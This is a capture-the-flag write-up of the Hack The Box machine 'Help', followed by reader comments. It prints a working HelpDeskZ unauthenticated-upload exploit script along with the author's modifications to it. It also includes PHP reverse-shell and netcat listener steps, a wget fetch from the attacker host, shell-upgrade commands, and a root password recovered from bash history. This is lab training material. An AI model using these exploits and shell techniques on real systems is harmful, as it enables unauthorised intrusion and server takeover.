How to Hack "Help" on hackthebox.eu
Preface,
Most evenings, I spend a few hours training on various web application exploitation techniques in preparation for OSWE. Sometimes this is in the form of bug bounty research and sometimes I play around with whatever Hack The Box has to offer.
Whenever I engage with a new target I keep a detailed set of notes so I have something to refer to in the future, this article, and any that follow it, are an attempt to turn some of those notes into useful content for the community in an effort to give something back.
Disclaimer: The following activities were conducted in a lab environment with permission from the server owners. These techniques should not be used for any illegal activity under any circumstances.
What's covered in this article
This is a technical write-up describing how I approached attacking 'Help' on hackthebox.eu. The article doesn't contain all possible attack vectors and will differ from the official write-up (available on hackthebox.eu). Given that my goal here is to practice on web application testing, I try to approach a target from attack vectors that add value to me in that area.
In this article we will cover;
- Standard enumeration and information gathering
- Identifying a vulnerability
- Reviewing, modifying and troubleshooting an existing exploit
- Basic Privilege Escalation
Information Gathering
As always, we start any penetration testing activity with some information gathering. First, we run a basic nmap scan with the -A flag set to enable OS detection, version detection, default scripts, and traceroute
nmap -A 10.10.10.121
Taking note of the services and versions, we notice two http services running on the server. Web being the largest attack surface, we take a look at port 80 first to see what's running.
Port 80
Whenever we see a default page like this, it's generally good news for us as attackers because it's a sign of poor housekeeping. It's also a strong indication that some form of a web application is running on this server. We need to enumerate this further before we can move forward. To do this we kick off two additional tools, gobuster and nikto.
gobuster
Gobuster is a scanner that looks for existing or hidden web objects. It works by launching a dictionary attack against a web server and analyzing the response.
When we run it with a default wordlist, we immediately see a directory for /support
gobuster -u "https://10.10.10.121" -w "/usr/share/wrdlists/dirbuster/directory-list-lowercase-2.3-medium.txt" -t 20
Heading over to this page in a browser we can see the HelpDeskZ application running
After playing around with the application for a while, we understand the following interesting points;
- An email address is required to log in (so far, we haven't discovered one)
- You can log a ticket onto the system as an unauthenticated user
- You can upload a file to the server as an attachment on a ticket
- There is a CAPTCHA mechanism in place while logging tickets
Thinking with the attacker mindset, we can upload a file to this server as an unauthenticated user. If this process is vulnerable in some way, we might be able to execute code on the server to gain remote access.
Researching the application
Now that we have played with the application a little bit and have a basic understanding of what it does. We want to try and find out as much information as we can from other sources, like google.com, web.archive.org, github.com and exploit-db.com. This process reveals the following useful information.
- The HelpDeskZ website
- A GitHub repository with the application source code
- Two known vulnerabilities on exploit-db.com
Before we go any further we need to confirm the version of the application. We are able to do this by navigating to the "UPGRADING.txt" file we identified in the GitHub repository.
Confirming the vulnerability
It's never a good idea to point a piece of code to a target that you don't fully understand, so before we blindly launch anything, lets review one of these exploits. Any exploits that are on exploit-db are also available in Kali Linux.
Running Searchsploit allows us to get a local copy of the exploit to review.
searchsploit HelpDeskZ
After making a copy of the 40300.py script, we open it up in a text editor and read the authors note.
"The software in the default configuration allows upload for .php-Files ( ?!?! ). I think the developers thought it was no risk because the filenames get "obfuscated" when they are uploaded. However, there is a weakness in the rename function of the uploaded file..."
According to the author, there is a vulnerable section of code in the applications upload functionality, we can verify this on the GitHub repository that we found earlier.
Here is the section we need to look at;
$uploaddir = UPLOAD_DIR.'tickets/';
if($_FILES['attachment']['error'] == 0){
$ext = pathinfo($_FILES['attachment']['name'], PATHINFO_EXTENSION);
$filename = md5($_FILES['attachment']['name'].time()).".".$ext;
$fileuploaded[] = array('name' => $_FILES['attachment']['name'],
'enc' => $filename,
'size' => formatBytes($_FILES['attachment']['size']),
'filetype' => $_FILES['attachment']['type']);
$uploadedfile = $uploaddir.$filename;
if (!move_uploaded_file($_FILES['attachment']['tmp_name'], $uploadedfile)) {
$show_step2 = true;
$error_msg = $LANG['ERROR_UPLOADING_A_FILE'];
}else{
$fileverification = verifyAttachment($_FILES['attachment']);
switch($fileverification['msg_code']){
case '1':
$show_step2 = true;
$error_msg = $LANG['INVALID_FILE_EXTENSION'];
break;
case '2':
$show_step2 = true;
$error_msg = $LANG['FILE_NOT_ALLOWED'];
break;
case '3':
$show_step2 = true;
$error_msg = str_replace('%size%',$fileverification['msg_extra'],$LANG['FILE_IS_BIG']);
break;
}
}
}
Lets step through what this code is doing at a very high level. The first thing we notice is a variable being set with the full path of the upload directory;
$uploaddir = UPLOAD_DIR.'tickets/';
the UPLOAD_DIR of this variable is currently unknown to us, but the second part is hard coded to 'tickets/'. It's likely that the UPLOAD_DIR is set in a configuration file somewhere. A quick search on the GitHub repository confirms this in the includes/global.php file
It's possible that our system admins have changed this configuration, but for now we can proceed on the assumption that they haven't. This would make the full path of the upload directory:
https://10.10.10.121/support/uploads/tickets
This is potentially good news for us because it appears that our file uploads will sit inside the web directory, so if we can get a php file into this directory and navigate to it, we may have remote code execution.
The next section of code appears to check that the attachment was uploaded without any errors
if($_FILES['attachment']['error'] == 0)
On successful upload, the files extension is stripped out of the filename and assigned to a variable
$ext = pathinfo($_FILES['attachment']['name'], PATHINFO_EXTENSION);
Then another variable is assigned with an md5 hash of the files name and current time. The extension is then append to the end.
$filename = md5($_FILES['attachment']['name'].time()).".".$ext;
The next interesting section of code for us joins the previously assigned upload directory and the newly generated filename together as a new variable called $uploadedfile
$uploadedfile = $uploaddir.$filename;
This is great news, we have confirmed that files will be uploaded into the web directory. Even more importantly, we have control over the variables being used to determine what the file is called. If we know the time this file was uploaded, we should be able to navigate directly to it in our browser.
Looking through the rest of the code we can see that the file gets moved into the new location. Then, if there are no errors, the file is verified to see if it's allowed.
$fileverification = verifyAttachment($_FILES['attachment']);
So while the developers did think about validating files during the upload process, they haven't tried to validate them until after the file has already been uploaded. Which means, if there are no other protections within the https://10.10.10.121/support/uploads/tickets directory, we should be able to upload a php reverse shell and have it executed.
Reviewing the exploit
Now that we have confirmed the vulnerability, lets review the exploit script we copied earlier.
?import hashlib
import time
import sys
import requests
print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'
if len(sys.argv) < 3:
print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])
sys.exit(1)
helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]
currentTime = int(time.time())
for x in range(0, 300):
plaintext = fileName + str(currentTime - x)
md5hash = hashlib.md5(plaintext).hexdigest()
url = helpdeskzBaseUrl+md5hash+'.php'
response = requests.head(url)
if response.status_code == 200:
print "found!"
print url
sys.exit(0)
First, it imports some basic dependencies
import hashlib
import time
import sys
import requests
Then, if there are not enough arguments supplied it prints the usage to the screen. Otherwise, it assigns our arguments to some variables.
print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'
if len(sys.argv) < 3:
print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])
sys.exit(1)
helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]
Next, it sets the current time as a variable, if you remember this was the only piece of that we needed to guess.
currentTime = int(time.time())
Finally, it recreates the applications logic in naming the file, and attempts to find the file on the server.
for x in range(0, 300):
plaintext = fileName + str(currentTime - x)
md5hash = hashlib.md5(plaintext).hexdigest()
url = helpdeskzBaseUrl+md5hash+'.php'
response = requests.head(url)
if response.status_code == 200:
print "found!"
print url
sys.exit(0
Running the exploit
Now that we fully understand what the exploit does and are happy that it is safe to use. We can attempt to run it. First, we need to prepare a php reverse shell as our malicious upload file.
Kali Linux comes with few of these pre-installed, we can simply copy one to our working directory and make some minor adjustments to the IP address and Port.
cp /usr/share/webshells/php/php-reverse-shell.php ~/Desktop
Now we need to setup a netcat listener to catch the reverse shell if we trigger one.
nc -nlvp 4444
With everything setup, we upload the file and run the exploit, but it fails.
python 40300.py "https://10.10.10.121/support/uploads/tickets/" "php-reverse-shell.php"
We did receive an error on the upload, but we anticipated this from our code review.
Actually, this is a good sign for us. It means we passed through all the logic up until the section that specifies the error, so it proves that we have no issues with the upload process.
$error_msg = $LANG['FILE_NOT_ALLOWED'];
Troubleshooting the exploit
Everything appears to have worked as expected, but we didn't find the file, there are a few possible reasons for this.
- The developers may be aware of the vulnerability, and fixed it
- Our assumption that UPLOAD_DIR = https://10.10.10.121/support/uploads/ is wrong
- We have the wrong time in our script
Options 1 & 2 are difficult to figure out without a little bit more information. It may be possible that further enumeration of the other ports we identified in our initial scans will help us. But before we begin to look at those, option 3 is fairly quick to check.
If we study a request to the server in burpsuite, we may be able to quickly verify the servers time.
I made this request at around 18:32, so there is a difference in the time between us and the server, this difference would defiantly affect our script and we need to fix that.
Modifying the exploit
The quickest way to fix this may be to figure out the difference between the times and plus or minus the difference within the script. A more elegant solution though would be to adjust the exploit so that it grabs the date header from the server, and uses that to determine the time. While we are making this change, we also set our time zone to match the servers timezone of GMT.
All of this can be achieved with the following few lines of code at the top of the exploit
results = requests.get("https://10.10.10.121:80/support/")
DateHeader = results.headers['date']
pattern = '%a, %d %b %Y %H:%M:%S %Z'
os.environ['TZ']='GMT'
ServerTime = int(time.mktime(time.strptime(DateHeader, pattern)))
Now we just need to swap this
plaintext = fileName + str(currentTime - x)
for this
plaintext = fileName + str(ServerTime - x)
And our exploit should now be using the servers exact time. Lets try it uploading our php-reverse-shell.php file again and re-run the exploit.
Success! we have a reverse shell as the user "help". Using python we can improve our shell to a full tty with;
python -c 'import pty; pty.spawn("/bin/bash")'
Then we can background the window with ctrl-z and use the following command to give us full tab auto completion.
stty raw -echo
using fg to return to the session to the foreground, we now have a much nicer interactive shell to work with. as you can see from this screenshot, we are now user "help" on 10.10.10.121
Privilege Escalation
In this situation, the first thing I generally do is upload a basic enumeration script, and review the output to see if there is anything obvious we can work with. On this occasion I used the LinEnum script to get things started.
First, we host the script on our attacking box using pythons simple http server;
cd "/opt/enumerate-linux/LinEnum/"
python3 -m http.server
Then we move into /dev/shm on the target (this helps cover our tracks later) and use wget to upload the file to the target
cd /dev/shm
wget "https://10.10.14.60:8000/LinEnum.sh"
Now we run the script and carefully read through the output, checking anything that we find on the way to see if they are vulnerabilities.
Doing this immediately reveals that the kernel version on the box is vulnerable.
Before running any exploits against a target, particularly kernel exploits, it's a good idea to complete your enumeration first. In this case, we also found some items of interest in .bash_history
When we try to repeat these commands it doesn't work,
But there is something a little strange with the case on this password, it looks like a Caps Lock failure. When we change the case and try RootMeOrDie, we get root access, and now have full control over this box.
Finally, a quick note from me
If you made it to the end of this article I would love to hear your thoughts about it in the comments. This being my first published article, I would like to know if this sort of thing is something the community would be interested in seeing more of from me?
This was a fairly straight forward box, I chose it for my first write up because it was recently retired, and a fairly quick one to run back through for screenshots. I'm also working on some more advanced write-ups for some of the hard/insane boxes. As those get retired i'll release the articles shortly after, so be sure to follow me if you are interested in seeing those.
Thanks for reading, have a great day!
Associate Director
5 年Easy for sure
Security Engineer at Zalando
5 年One of the easiest and fun boxes under my belt, I think it was a fair and straight forward, One of those boxes that you didnt have to go on the forums or google for, just good old searchsploit. Jerry and Netmon are still the super easy boxes in my opinion. :)
Senior Information Security Analyst
5 年Thanks Davy, greatly presented !!!
Senior Penetration Tester at KPMG Baltics | CISSP, CRTO, GWAPT, OSCP
5 年Very well written Davy, very nice. It was quite an informative read. Thanks for the writeup!